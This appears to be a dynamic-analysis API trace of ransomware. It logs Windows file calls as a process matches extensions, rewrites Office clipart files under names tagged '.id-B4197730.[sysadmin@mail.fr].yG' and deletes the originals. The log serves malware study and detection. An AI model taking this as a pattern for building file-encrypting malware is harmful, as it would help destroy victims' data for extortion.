	[0055.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68
	[0055.235] lstrlenW (lpString=".1cd") returned 4
	[0055.235] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0055.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68
	[0055.235] lstrlenW (lpString=".jpg") returned 4
	[0055.235] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0055.236] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0055.236] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0055.236] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0055.237] GetLastError () returned 0x0
	[0055.237] ReadFile (in: hFile=0x348, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x714c, lpOverlapped=0x0) returned 1
	[0055.316] WriteFile (in: hFile=0x384, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0x7150, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0x7150, lpOverlapped=0x0) returned 1
	[0055.353] ReadFile (in: hFile=0x348, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0055.353] WriteFile (in: hFile=0x384, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0055.353] SetEndOfFile (hFile=0x384) returned 1
	[0055.353] CloseHandle (hObject=0x384) returned 1
	[0055.354] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0055.354] SetEndOfFile (hFile=0x348) returned 1
	[0055.355] CloseHandle (hObject=0x348) returned 1
	[0055.355] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0055.454] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf")) returned 1
	[0055.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68
	[0055.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68
	[0055.848] lstrlenW (lpString=".doc") returned 4
	[0055.848] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0055.848] lstrlenW (lpString=".docx") returned 5
	[0055.848] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1
	[0055.848] lstrlenW (lpString=".pdf") returned 4
	[0055.848] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0055.848] lstrlenW (lpString=".xls") returned 4
	[0055.848] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0055.848] lstrlenW (lpString=".xlsx") returned 5
	[0055.848] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1
	[0055.848] lstrlenW (lpString=".ppt") returned 4
	[0055.848] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0055.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68
	[0055.848] lstrlenW (lpString=".zip") returned 4
	[0055.848] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0055.848] lstrlenW (lpString=".rar") returned 4
	[0055.848] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0055.848] lstrlenW (lpString=".bz2") returned 4
	[0055.848] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0055.848] lstrlenW (lpString=".7z") returned 3
	[0055.848] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0055.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68
	[0055.848] lstrlenW (lpString=".dbf") returned 4
	[0055.848] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0055.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68
	[0055.848] lstrlenW (lpString=".1cd") returned 4
	[0055.848] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0055.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68
	[0055.848] lstrlenW (lpString=".jpg") returned 4
	[0055.848] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0056.177] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.177] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.177] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00076_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0056.762] GetLastError () returned 0x0
	[0056.762] ReadFile (in: hFile=0x2d0, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x532, lpOverlapped=0x0) returned 1
	[0056.784] WriteFile (in: hFile=0x2f4, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0x540, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0x540, lpOverlapped=0x0) returned 1
	[0056.785] ReadFile (in: hFile=0x2d0, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0056.785] WriteFile (in: hFile=0x2f4, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0056.785] SetEndOfFile (hFile=0x2f4) returned 1
	[0056.786] CloseHandle (hObject=0x2f4) returned 1
	[0056.787] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.787] SetEndOfFile (hFile=0x2d0) returned 1
	[0056.788] CloseHandle (hObject=0x2d0) returned 1
	[0056.788] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0056.788] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00076_.wmf")) returned 1
	[0056.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68
	[0056.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68
	[0056.789] lstrlenW (lpString=".doc") returned 4
	[0056.789] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0056.789] lstrlenW (lpString=".docx") returned 5
	[0056.789] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0056.789] lstrlenW (lpString=".pdf") returned 4
	[0056.789] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0056.789] lstrlenW (lpString=".xls") returned 4
	[0056.789] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0056.789] lstrlenW (lpString=".xlsx") returned 5
	[0056.789] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0056.789] lstrlenW (lpString=".ppt") returned 4
	[0056.789] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0056.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68
	[0056.789] lstrlenW (lpString=".zip") returned 4
	[0056.789] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0056.789] lstrlenW (lpString=".rar") returned 4
	[0056.789] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0056.789] lstrlenW (lpString=".bz2") returned 4
	[0056.789] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0056.789] lstrlenW (lpString=".7z") returned 3
	[0056.789] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0056.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68
	[0056.789] lstrlenW (lpString=".dbf") returned 4
	[0056.789] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0056.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68
	[0056.789] lstrlenW (lpString=".1cd") returned 4
	[0056.789] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0056.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68
	[0056.790] lstrlenW (lpString=".jpg") returned 4
	[0056.790] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0056.790] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.791] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.791] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00078_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0056.791] GetLastError () returned 0x0
	[0056.791] ReadFile (in: hFile=0x2d0, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x5a4, lpOverlapped=0x0) returned 1
	[0056.808] WriteFile (in: hFile=0x2f4, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0x5b0, lpOverlapped=0x0) returned 1
	[0056.809] ReadFile (in: hFile=0x2d0, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0056.809] WriteFile (in: hFile=0x2f4, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0056.809] SetEndOfFile (hFile=0x2f4) returned 1
	[0056.809] CloseHandle (hObject=0x2f4) returned 1
	[0056.810] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.810] SetEndOfFile (hFile=0x2d0) returned 1
	[0056.811] CloseHandle (hObject=0x2d0) returned 1
	[0056.811] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0056.811] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00078_.wmf")) returned 1
	[0056.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68
	[0056.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68
	[0056.811] lstrlenW (lpString=".doc") returned 4
	[0056.812] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0056.812] lstrlenW (lpString=".docx") returned 5
	[0056.812] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0056.812] lstrlenW (lpString=".pdf") returned 4
	[0056.812] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0056.812] lstrlenW (lpString=".xls") returned 4
	[0056.812] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0056.812] lstrlenW (lpString=".xlsx") returned 5
	[0056.812] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0056.812] lstrlenW (lpString=".ppt") returned 4
	[0056.812] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0056.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68
	[0056.812] lstrlenW (lpString=".zip") returned 4
	[0056.812] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0056.812] lstrlenW (lpString=".rar") returned 4
	[0056.812] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0056.812] lstrlenW (lpString=".bz2") returned 4
	[0056.812] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0056.812] lstrlenW (lpString=".7z") returned 3
	[0056.812] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0056.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68
	[0056.812] lstrlenW (lpString=".dbf") returned 4
	[0056.812] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0056.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68
	[0056.812] lstrlenW (lpString=".1cd") returned 4
	[0056.812] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0056.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68
	[0056.812] lstrlenW (lpString=".jpg") returned 4
	[0056.812] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0056.812] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.813] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00136_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0056.813] GetLastError () returned 0x0
	[0056.813] ReadFile (in: hFile=0x2d0, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x876, lpOverlapped=0x0) returned 1
	[0056.824] WriteFile (in: hFile=0x2f4, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0x880, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0x880, lpOverlapped=0x0) returned 1
	[0056.825] ReadFile (in: hFile=0x2d0, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0056.825] WriteFile (in: hFile=0x2f4, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0056.825] SetEndOfFile (hFile=0x2f4) returned 1
	[0056.825] CloseHandle (hObject=0x2f4) returned 1
	[0056.826] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.826] SetEndOfFile (hFile=0x2d0) returned 1
	[0056.827] CloseHandle (hObject=0x2d0) returned 1
	[0056.827] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0056.827] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00136_.wmf")) returned 1
	[0056.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68
	[0056.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68
	[0056.828] lstrlenW (lpString=".doc") returned 4
	[0056.828] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0056.828] lstrlenW (lpString=".docx") returned 5
	[0056.828] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0056.828] lstrlenW (lpString=".pdf") returned 4
	[0056.828] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0056.828] lstrlenW (lpString=".xls") returned 4
	[0056.828] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0056.828] lstrlenW (lpString=".xlsx") returned 5
	[0056.828] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0056.828] lstrlenW (lpString=".ppt") returned 4
	[0056.828] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0056.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68
	[0056.828] lstrlenW (lpString=".zip") returned 4
	[0056.828] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0056.828] lstrlenW (lpString=".rar") returned 4
	[0056.828] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0056.828] lstrlenW (lpString=".bz2") returned 4
	[0056.828] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0056.828] lstrlenW (lpString=".7z") returned 3
	[0056.828] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0056.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68
	[0056.828] lstrlenW (lpString=".dbf") returned 4
	[0056.828] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0056.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68
	[0056.828] lstrlenW (lpString=".1cd") returned 4
	[0056.828] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0056.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68
	[0056.828] lstrlenW (lpString=".jpg") returned 4
	[0056.828] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0056.829] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.829] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.829] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00174_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0056.829] GetLastError () returned 0x0
	[0056.829] ReadFile (in: hFile=0x2d0, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x20ae, lpOverlapped=0x0) returned 1
	[0056.842] WriteFile (in: hFile=0x2f4, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0x20b0, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0x20b0, lpOverlapped=0x0) returned 1
	[0056.845] ReadFile (in: hFile=0x2d0, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0056.845] WriteFile (in: hFile=0x2f4, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0056.845] SetEndOfFile (hFile=0x2f4) returned 1
	[0056.851] CloseHandle (hObject=0x2f4) returned 1
	[0056.856] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.856] SetEndOfFile (hFile=0x2d0) returned 1
	[0056.857] CloseHandle (hObject=0x2d0) returned 1
	[0056.857] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0056.857] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00174_.wmf")) returned 1
	[0056.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68
	[0056.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68
	[0056.857] lstrlenW (lpString=".doc") returned 4
	[0056.857] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0056.857] lstrlenW (lpString=".docx") returned 5
	[0056.857] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0056.857] lstrlenW (lpString=".pdf") returned 4
	[0056.857] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0056.857] lstrlenW (lpString=".xls") returned 4
	[0056.857] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0056.857] lstrlenW (lpString=".xlsx") returned 5
	[0056.858] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0056.858] lstrlenW (lpString=".ppt") returned 4
	[0056.858] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0056.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68
	[0056.858] lstrlenW (lpString=".zip") returned 4
	[0056.858] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0056.858] lstrlenW (lpString=".rar") returned 4
	[0056.858] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0056.858] lstrlenW (lpString=".bz2") returned 4
	[0056.858] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0056.858] lstrlenW (lpString=".7z") returned 3
	[0056.858] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0056.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68
	[0056.858] lstrlenW (lpString=".dbf") returned 4
	[0056.858] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0056.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68
	[0056.858] lstrlenW (lpString=".1cd") returned 4
	[0056.858] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0056.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68
	[0056.858] lstrlenW (lpString=".jpg") returned 4
	[0056.858] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0056.858] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.858] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.858] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00224_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0056.859] GetLastError () returned 0x0
